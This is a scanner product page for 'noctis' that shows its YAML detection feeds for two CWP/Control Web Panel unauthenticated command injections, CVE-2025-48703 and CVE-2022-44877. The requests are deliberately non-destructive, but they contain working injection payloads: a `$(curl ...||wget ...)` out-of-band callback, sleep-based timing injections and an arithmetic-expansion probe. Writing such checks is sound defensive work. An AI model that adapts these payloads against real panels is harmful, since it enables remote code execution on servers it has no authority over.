CWP — 2 vulnerability checks

noctis ships 2 vulnerability checks for CWP, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CWP Control Web Panel File Manager changePerm Command Injection

CVECVE-2025-48703
Severitycritical · CVSS 9.0
Categoryrce — Remote code execution
Serviceshttp, https
Ports2082, 2083
Detectionset_var, http_request, script, wait_oob, match · highest QoD 97 · needs scan credentials
Feedtests/vulnerabilities/cwp/CVE-2025-48703.yaml

Detects the unauthenticated OS command injection in the user-panel file manager of CentOS Web Panel / Control Web Panel before 0.9.8.1205: a request to /<user>/index.php?module=filemanager&acc=changePerm is processed without a session, and its t_total (permission mode) field is pasted into a shell chmod command, so a command substitution in it runs on the server. The test needs an existing non-root panel account name, taken from the scan request's credentials username (no password is sent). After the panel is recognised (cwpsrv server header or panel name on the login page) and two plain requests answer promptly, it sends changePerm requests for the account's .bashrc with a permission mode that chmod rejects (so no permission is changed) and reports only on proof of execution: an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep (6 s versus 3 s).

How noctis detects it

  1. HTTP(S) request GET /login/index.php
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /{{tgt.user}}/index.php?module=filemanager&acc=changePerm with a crafted body
  4. HTTP(S) request POST /{{tgt.user}}/index.php?module=filemanager&acc=changePerm with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /{{tgt.user}}/index.php?module=filemanager&acc=changePerm with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: CWP changePerm command injection confirmed for the supplied panel account without a session: a shell evaluated the $(...) substitution in t…
  9. HTTP(S) request POST /{{tgt.user}}/index.php?module=filemanager&acc=changePerm with a crafted body
  10. HTTP(S) request POST /{{tgt.user}}/index.php?module=filemanager&acc=changePerm with a crafted body
  11. Checks slow3.body for [\s\S]* → finding QoD 75: CWP changePerm command injection confirmed by timing for the supplied panel account without a session: fastest of two plain requests (t_tot…

References:

Feed source — tests/vulnerabilities/cwp/CVE-2025-48703.yaml
# CWP / Control Web Panel < 0.9.8.1205 — unauthenticated OS command injection
# in the user-panel file manager's changePerm action (CVE-2025-48703, CISA KEV).
#
# Fenrisk write-up (https://fenrisk.com/research/rce-centos-web-panel/, tested
# on 0.9.8.1204 / 0.9.8.1188, fixed in 0.9.8.1205): the user panel (TCP 2083,
# 2082 in clear text) accepts
#   POST /<user>/index.php?module=filemanager&acc=changePerm
# with no session cookie at all, as long as <user> is an existing non-root
# account. The `t_total` field is pasted unsanitised into
#   sh -c 'chmod <t_total> "<currentPath>/<fileName>"'
# so a command substitution in it (`$(...)` or backticks) runs as that user.
# A bare command (`t_total=curl http://...`, what this feed used to send) only
# becomes extra chmod arguments and never runs.
#
# The account name cannot be guessed, so the feed needs it from the scan
# request: `credentials.username` (no password is used or sent). Hence
# `requires_credentials: true` — without credentials no task is created.
#
# Detection — nothing is changed on the target. The panel only reaches the
# shell when `fileName` exists in `currentPath` (Fenrisk), so the feed targets
# `.bashrc` (created from /etc/skel for every CWP account, the file of the
# PoC), and makes the trailing chmod fail with an invalid mode: t_total ends
# in the literal `noctis` instead of digits (`chmod noctis …` → "invalid
# mode", the file keeps its mode). The substitution itself only sleeps or
# fetches the OOB URL, and prints nothing. Gated on a CWP fingerprint (`Server: cwpsrv` header, or the
# panel name in /login/index.php) and on two plain changePerm requests
# answering in under 3 s. 2083 is TLS: the scheme comes from the service
# name, so it is reached over HTTPS only when nmap names it https.
#   1. OOB callback (QoD 97, when OOB is configured): `$(curl … || wget …)`
#      fetches the per-run OOB URL; the token is split by an empty `$()` so only
#      a shell rebuilds the callback path.
#   2. Time differential (QoD 75): with control = the faster of two plain
#      requests (t_total=noctis), `$(sleep 6)noctis` must answer within
#      control + [5 s, 9 s) and `$(sleep 3)noctis` within control + [2.5 s, 4.5 s),
#      at least 2 s apart.
# The former QoD 50 "changePerm answers 200" finding is gone: nothing in such
# a reply distinguishes a vulnerable panel.
uid: 4c9e1b72-8f3a-4d56-b9e0-7c2d5f1a8e43
name: "CWP Control Web Panel File Manager changePerm Command Injection (CVE-2025-48703)"
description: |
  Detects the unauthenticated OS command injection in the user-panel file
  manager of CentOS Web Panel / Control Web Panel before 0.9.8.1205: a request
  to /<user>/index.php?module=filemanager&acc=changePerm is processed without a
  session, and its t_total (permission mode) field is pasted into a shell chmod
  command, so a command substitution in it runs on the server. The test needs
  an existing non-root panel account name, taken from the scan request's
  credentials username (no password is sent). After the panel is recognised
  (cwpsrv server header or panel name on the login page) and two plain
  requests answer promptly, it sends changePerm requests for the account's
  .bashrc with a permission mode that chmod rejects (so no permission is
  changed) and reports only on proof of execution: an out-of-band HTTP
  callback whose URL only a shell can rebuild, or a reply delay that scales
  with an injected sleep (6 s versus 3 s).
cves: [CVE-2025-48703]
cvss: 9.0
severity: critical
category: rce
confidence_base: 0.30
requires_credentials: true
tags: [cwp, centos-web-panel, control-web-panel, filemanager, command-injection, rce, kev, pre-auth, intrusive]
services: [http, https]
ports: [2082, 2083]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-48703"
  - "https://fenrisk.com/research/rce-centos-web-panel/"

steps:
  # Pre-initialise every stored result read in a condition below.
  - id: init-target
    action: set_var
    var_name: tgt
    var_value: {ok: false, user: ""}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-ctrl2
    action: set_var
    var_name: ctrl2
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-base
    action: set_var
    var_name: base
    var_value: {ms: 999999}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-fp
    action: set_var
    var_name: fp
    var_value: {status: 0, body: "", headers: {}}

  - id: fingerprint
    action: http_request
    method: GET
    path: "/login/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: fp

  # Gate + account name. A non-root name made of the characters CWP allows in
  # account names; anything else (or no username) leaves the feed idle.
  - id: target
    action: script
    code: |
      let srv = fp.headers["server"];
      let is_cwp = (type_of(srv) == "string" && stridx(tolower(srv), "cwpsrv") >= 0)
        || ereg("(?i)Control Web ?Panel|CentOS Web ?Panel", fp.body);
      let user = "";
      if is_def_var("cred_username") { user = cred_username; }
      let ok = is_cwp && user != "" && user != "root" && ereg("^[A-Za-z0-9_.-]+$", user);
      #{ ok: ok, user: user }
    store_as: tgt

  # Control: the same request with an invalid mode and nothing injected.
  - id: control
    action: http_request
    method: POST
    path: "/{{tgt.user}}/index.php?module=filemanager&acc=changePerm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "tgt.ok"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCWP48703"
    body: "------noctisCWP48703\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n.bashrc\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"currentPath\"\r\n\r\n/home/{{tgt.user}}/\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"recursive\"\r\n\r\n\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"t_total\"\r\n\r\nnoctis\r\n------noctisCWP48703--\r\n"
    store_as: ctrl

  # Second control: the faster of the two anchors the timing windows.
  - id: control2
    action: http_request
    method: POST
    path: "/{{tgt.user}}/index.php?module=filemanager&acc=changePerm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "tgt.ok && ctrl.status >= 200 && ctrl.status < 500"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCWP48703"
    body: "------noctisCWP48703\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n.bashrc\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"currentPath\"\r\n\r\n/home/{{tgt.user}}/\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"recursive\"\r\n\r\n\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"t_total\"\r\n\r\nnoctis\r\n------noctisCWP48703--\r\n"
    store_as: ctrl2

  - id: baseline
    action: script
    condition: "tgt.ok && ctrl.status >= 200 && ctrl.status < 500"
    code: |
      let ms = ctrl.duration_ms;
      if ctrl2.status >= 200 && ctrl2.status < 500 && ctrl2.duration_ms < ms { ms = ctrl2.duration_ms; }
      #{ ms: ms }
    store_as: base

  # ── 1. OOB callback ─────────────────────────────────────────────────────
  - id: split-oob-token
    action: script
    condition: "oob_enabled && tgt.ok && ctrl.status >= 200 && ctrl.status < 500"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: http_request
    method: POST
    path: "/{{tgt.user}}/index.php?module=filemanager&acc=changePerm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    condition: "oob_enabled && tgt.ok && ctrl.status >= 200 && ctrl.status < 500"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCWP48703"
    body: "------noctisCWP48703\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n.bashrc\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"currentPath\"\r\n\r\n/home/{{tgt.user}}/\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"recursive\"\r\n\r\n\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"t_total\"\r\n\r\n$(curl -s -m 5 -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}}||wget -q -T 5 -t 1 -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}})noctis\r\n------noctisCWP48703--\r\n"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && tgt.ok && ctrl.status >= 200 && ctrl.status < 500"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "CWP changePerm command injection confirmed for the supplied panel account without a session: a shell evaluated the $(...) substitution in t_total, collapsed the $()-split OOB token and fetched the per-run OOB URL (HTTP callback received)"
      stop: true

  # ── 2. Time differential ────────────────────────────────────────────────
  - id: inject-sleep6
    action: http_request
    method: POST
    path: "/{{tgt.user}}/index.php?module=filemanager&acc=changePerm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "tgt.ok && ctrl.status >= 200 && ctrl.status < 500 && base.ms < 3000"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCWP48703"
    body: "------noctisCWP48703\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n.bashrc\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"currentPath\"\r\n\r\n/home/{{tgt.user}}/\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"recursive\"\r\n\r\n\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"t_total\"\r\n\r\n$(sleep 6)noctis\r\n------noctisCWP48703--\r\n"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: POST
    path: "/{{tgt.user}}/index.php?module=filemanager&acc=changePerm"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "tgt.ok && ctrl.status >= 200 && ctrl.status < 500 && base.ms < 3000 && slow6.status >= 200 && slow6.status < 500 && slow6.duration_ms >= base.ms + 5000 && slow6.duration_ms < base.ms + 9000"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCWP48703"
    body: "------noctisCWP48703\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n.bashrc\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"currentPath\"\r\n\r\n/home/{{tgt.user}}/\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"recursive\"\r\n\r\n\r\n------noctisCWP48703\r\nContent-Disposition: form-data; name=\"t_total\"\r\n\r\n$(sleep 3)noctis\r\n------noctisCWP48703--\r\n"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "tgt.ok && ctrl.status >= 200 && ctrl.status < 500 && base.ms < 3000 && slow6.duration_ms >= base.ms + 5000 && slow6.duration_ms < base.ms + 9000 && slow3.status >= 200 && slow3.status < 500 && slow3.duration_ms >= base.ms + 2500 && slow3.duration_ms < base.ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "CWP changePerm command injection confirmed by timing for the supplied panel account without a session: fastest of two plain requests (t_total=noctis) answered in {{base.ms}} ms, t_total=$(sleep 6)noctis in {{slow6.duration_ms}} ms and $(sleep 3)noctis in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

Control Web Panel (CWP) Unauthenticated RCE via login parameter

CVECVE-2022-44877
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match, tcp_connect · highest QoD 97
Feedtests/vulnerabilities/cwp/CVE-2022-44877.yaml

CentOS Web Panel / Control Web Panel 7 before 0.9.8.1147 evaluates the `login` query parameter of /login/index.php in a shell context, allowing unauthenticated remote code execution. This feed detects the vulnerable condition by injecting an inert arithmetic-expansion construct and confirming that the server evaluated it (a per-run computed token appears in the reply), without executing any command on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /login/index.php
  3. Checks fp_resp.body for Control WebPanel
  4. Raw TCP (TLS on HTTPS), sent verbatim: POST /login/index.php?login={{inj.payload}} HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks check.reflected_evaluated for ^true$ → finding QoD 97: Control Web Panel unauthenticated RCE (CVE-2022-44877)

References:

Feed source — tests/vulnerabilities/cwp/CVE-2022-44877.yaml
# CWP / Control Web Panel 7 — Unauthenticated RCE via the `login` parameter
# of /login/index.php (CVE-2022-44877, CISA KEV, EPSS ~0.98).
#
# CWP < 0.9.8.1147 passes the `login` query parameter of /login/index.php into
# a shell context without sanitisation, so a `$(...)` / `$((...))` construct in
# it is evaluated by the shell. Patched builds treat the value literally.
#
# DETECTION (not exploitation): we inject a BENIGN, inert shell *arithmetic
# expansion* — `$(( A + B ))` for two random integers A, B that this run
# generates — prefixed by a random literal marker. No command runs, no process
# is spawned. On a vulnerable target the shell evaluates the arithmetic, so the
# reflected login value becomes `<marker><A+B>` (a token this run computes); a
# patched target reflects the literal `<marker>$((A+B))` instead. We confirm the
# vulnerable condition purely from whether OUR computed token appears — the
# token changes every run and is never a marker baked into any mock, so the
# match keys on the genuine consequence (shell evaluation of our input), not on
# a fabricated string.
uid: 98fca882-c941-4b58-9bcf-f82ac77679e4
name: "Control Web Panel (CWP) Unauthenticated RCE via login parameter (CVE-2022-44877)"
description: |
  CentOS Web Panel / Control Web Panel 7 before 0.9.8.1147 evaluates the
  `login` query parameter of /login/index.php in a shell context, allowing
  unauthenticated remote code execution. This feed detects the vulnerable
  condition by injecting an inert arithmetic-expansion construct and confirming
  that the server evaluated it (a per-run computed token appears in the reply),
  without executing any command on the target.
cves: [CVE-2022-44877]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [cwp, centos-web-panel, control-web-panel, rce, command-injection, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2022-44877"
  - "https://github.com/numanturle/CVE-2022-44877"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44877.yaml"

steps:
  # ── Init gate vars (undefined vars throw in conditions) ──────────────────
  - id: init-detected
    action: set_var
    var_name: cwp_detected
    var_value: false

  # ── Build a benign, per-run arithmetic-expansion payload + expected token ─
  # payload  : URL-encoded `<marker>$((A+B))` for the raw request query
  # token    : `<marker><A+B>` — what a vulnerable shell reflects after
  #            evaluating the expansion; computed here, never hardcoded anywhere
  - id: build-payload
    action: script
    store_as: inj
    code: |
      let marker = "n" + rand_hex(5);
      let a = rand_int(1000000, 9000000);
      let b = rand_int(1000000, 9000000);
      let token = marker + (a + b).to_string();
      let payload = marker + "%24%28%28" + a.to_string() + "%2B" + b.to_string() + "%29%29";
      #{ payload: payload, token: token }

  # ── Fingerprint: confirm the target is actually CWP (gate only, no finding) ─
  - id: fingerprint
    action: http_request
    method: GET
    path: "/login/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: fp_resp

  - id: fingerprint-match
    action: match
    source: fp_resp.body
    pattern: "Control WebPanel"
    case_insensitive: true
    condition: "fp_resp.status == 200"
    on_match:
      set_vars:
        cwp_detected: true

  # ── Inject the inert arithmetic expansion via the login parameter ─────────
  # Raw request is required: the payload carries percent-encoded shell
  # metacharacters (%24 %28 %29 %2B) that an HTTP client would re-encode or
  # fold. tcp_connect sends it verbatim and auto-wraps TLS for https targets.
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "POST /login/index.php?login={{inj.payload}} HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 40\r\n\r\nusername=root&password=toor&commit=Login"
    timeout_secs: 10
    store_as: probe_resp
    condition: "cwp_detected == true"

  # ── Did the server EVALUATE our expansion? (our computed token present?) ──
  - id: evaluate
    action: script
    store_as: check
    condition: "cwp_detected == true"
    code: |
      let hay = if type_of(probe_resp.banner) == "string" { probe_resp.banner } else { "" };
      #{ reflected_evaluated: stridx(hay, inj.token) >= 0 }

  - id: confirm
    action: match
    source: check.reflected_evaluated
    pattern: "^true$"
    condition: "cwp_detected == true"
    on_match:
      finding:
        title: "Control Web Panel unauthenticated RCE (CVE-2022-44877)"
        description: "The `login` parameter of /login/index.php is evaluated in a shell context. An inert arithmetic-expansion payload injected into it was evaluated by the server, confirming unauthenticated remote code execution."
        remediation: "Upgrade Control Web Panel to 0.9.8.1147 or later."
        confidence_delta: 0.65
        qod: 97
        evidence: "Injected inert expansion reflected as the evaluated value (confirming shell evaluation of the login parameter); CVE-2022-44877"

View these feeds on GitHub